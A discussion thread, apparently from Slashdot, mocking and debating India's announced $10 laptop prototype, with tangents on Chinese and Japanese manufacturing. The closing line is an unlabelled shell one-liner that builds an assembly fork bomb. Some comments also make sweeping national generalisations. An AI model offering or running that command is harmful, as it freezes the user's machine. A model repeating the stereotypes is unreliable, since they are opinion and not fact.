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India Will Show Its $10 Laptop Prototype
Tech Ticker writes "The Indian Government last year announced the development of a cheap $10 laptop, but was later rectified as $100 laptop. Now the government has announced that HRD minister Arjun Singh will unveil the prototype of a Rs. 500 ($10) computer. The computer is developed by the Indian Institute of Science (IISc), Bangalore, and Indian Institute of Technology (IIT), Chennai. No specifications were revealed but DNA, a daily newspaper, has mentioned that it will be small and portable, will feature Wi-Fi, LAN, and expandable memory, and will operate on 2 watts of power."
... a $1000 beowulf cluster of those!
Sorry, had to be done...
I gave up sigs almost a year ago.
I don't see why Negroponte's OLPC project didn't succeed before. I can buy a netbook on Newegg for 250$... yet a laptop with a quarter of the power and less functionality can't be built for less than 200$ for the OLPC.
Best of luck to India.
while(1) attack(People.Sandy);
Great scott! The only thing capable of generating 2 watts is a battery.
No specifications were revealed but DNA, a daily newspaper, has mentioned that it will be small and portable, will feature Wi-Fi, LAN, and expandable memory, and will operate on 2 watts of power.
A little critical thinking here: How, exactly, would anyone build that for $10? How much is the cheapest of cheap WiFi adapters at retail? $30? $20? Okay, now how thin are those margins?
I just don't see how they can pull all that off for $10.
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But they hope for a lower price with mass production.
"At this stage, the price is working out to be $20 but with mass production it is bound to come down," R P Agarwal, secretary, higher education said.
Meanwhile, this laptop is still priced at $12.25.
Mit der Dummheit kämpfen Götter selbst vergebens
Forgive me but how reliable could such a cheap product be? I am willing to suspend disbelief but this sounds like good old fashioned BS.
That'll save you a bundle right there. If you write the engineering off as a total loss after you take the first corporation bankrupt and then you stiff the IP owners on royalties when you build them, you'll be on the way to getting it done. It will be flimsy, not include batteries (for 2W you can buy rechargeables), and have a very poor screen, and the $10 won't include packaging, marketing, distribution, or profit. The QA will be poor too, so there will be lots of failures, but at that price point most won't bother to send it back for repairs.
Is it just my observation, or are there way too many stupid people in the world?
Your average chinese MP3 player or cellphone with an added keyboard could be repurposed as a very cheap "laptop".
Included will be a voucher for your trial version of Duke Nukem Forever.
Also, a calendar going up to 2050 specifying exactly the year of "Linux on the Desktop."
Finally had enough. Come see us over at https://soylentnews.org/
China does not have innovation. Unlike Japan, China does not feel the need to rise above simply copying stuff poorly and selling the resulting product for less than the original.
And frankly, to me it seems their strategy is paying off.
I have seen IPhone rip-offs for Rs. 2500/-. At the current rate of exchange, it would be around $50. These phones don't even have IMEI numbers and the government has banned the phones for that reason. :)
I have seen the phone in action and it works just fine.
I am guessing you will never get these mobiles in the U.S.
... and I shall strike upon thee with great vegeance, furious anger and a slightly positive karma.
China does not have innovation. Unlike Japan,
Perhaps if you were just a little older, you would remember when all Japan could do was copy Western technology. However today Japan can innovate. Give China another 30 years, and then watch out!
Seven puppies were harmed during the making of this post.
the quality will be laughable. Like I always say: cheap, quality, expandable: pick two.
It's a misuse of the term labtop.
I really don't know how they could have misused that term.
The sheer hubris of this announcement made me wonder: When did M. Night Shyamalan start making computers?
Those who can, do. Those who can't, write technology blogs.
Comment removed based on user account deletion
A $10 notebook is yet more proof that free markets, competition and Globalization will ensure the future strength prosperity of Western Civilization!
But can we get that price lower? I think we *can*!
1.) First, we have to trim the lowest 10% of performers from every organization. (Pay bonuses to executives for doing this effectively.) Tip: trim Human Resources last -- we need them to do the hatchet work while senior management strokes the shareholders and analysts.
2.) Repeat 1.) a few times and what will remain is a lean and absolutely *amazing* company of workers who do more error-free work with a facial muscle spasm than other schmucks do in 6 months with both hands and 20/20 vision!
3.) Next, we find cheaper workers. India's labour costs are a big part of that $10. Whom will we get to do the work? EASY... we train bonobos. We don't even have to feed them much -- those suckers are pretty lean.
4.) Sack all Testing and Quality Assurance people. With our lean, superproductive staff and well-trained bonobos, we won't need to test. And if there's a problem, we'll silence talk of it with legal threats and "promise" to fix the bug(s) in a future release. (Ha ha!)
5.) Squeeze as much free money as we can out of the government. If the government is Pro-Business, say we're creating new jobs in a cutting-edge market. If the government is Green, say we're saving the bonobos. If it's a coalition, say whatever you have to say no matter how self-contradictory or idiotic.
6.) Spend cash from 5.) on bribes to steal someone else's technology. R&D is for losers.
7.) Throw the product over the wall and pump up the advertising! If it fails, lock the workers out and give senior management a round of bonuses. But it won't fail, because using the above strategy, I think we have the $10 notebook down to $2.35.
Unless of course "$10" is a typo.
Rich And Stupid is not so bad as Working For Rich And Stupid.
By most accounts, and the most important of them is the GDP per capita
Translated into dollars or into Big Macs? There's a difference. Plenty of countries have deeply undervalued currencies, which makes the cost of living in those countries appear a lot cheaper than the cost of a comparable lifestyle in North America, Europe, Japan, or the Republic of Korea. Look up purchasing power parity and The Economist's Big Mac Index in the encyclopedia, and follow the references if you're interested.
The vast majority of their population still live like animals.
As opposed to some other country, where the majority of the population live like plants? I guess you're right: too many USA residents have become couch potatoes.
China and Japan are not really the same though. China builds electronics in big factories that are really indistinguishable from the old collective farms and communist era factories. I.e. they are good at getting lots of people to do a simple task. The advent of capitalism means that they make things for export and the old communist system of jobs for life, free healthcare and so on has been abolished.
One of my colleagues, who was born in China, told me that the factory workers are often not paid by the factory owner and if they demonstrate the local party will send goons to silence them. Most of the factory owners are foreign, usually Taiwanese and all the design is done outside China. Basically China is a massively feudal place.
Now Japan, even in the 1950's wasn't like this. The Japanese had good domestic engineering companies even in the 1930's. Most of them were bombed to bits in World War II, but Japan was a modern society 50 years before the fascists took over, and became one again quite quickly again after the Americans rebooted it. And post war it wasn't too surprising that they concentrated on consumer electronics now that America had taken over responsibility for Japan's security.
Now up until very recently for example, it was a very equal, well educated and essentially middle class society, a bit like an Asian version of Sweden. Equality has dropped a bit, but the essentially middle classness of the place hasn't changed. That's the sort of society you need to produce engineering companies. It's also very different to China, which has never really got past feudalism. Feudal societies aren't egalitarian enough to be good at designing consumer electronics, because that implies that (young, poor) engineers need to be able to tell the (old, rich) owners how to get things done. In a feudal society the orders flow in only one way, from the top down.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;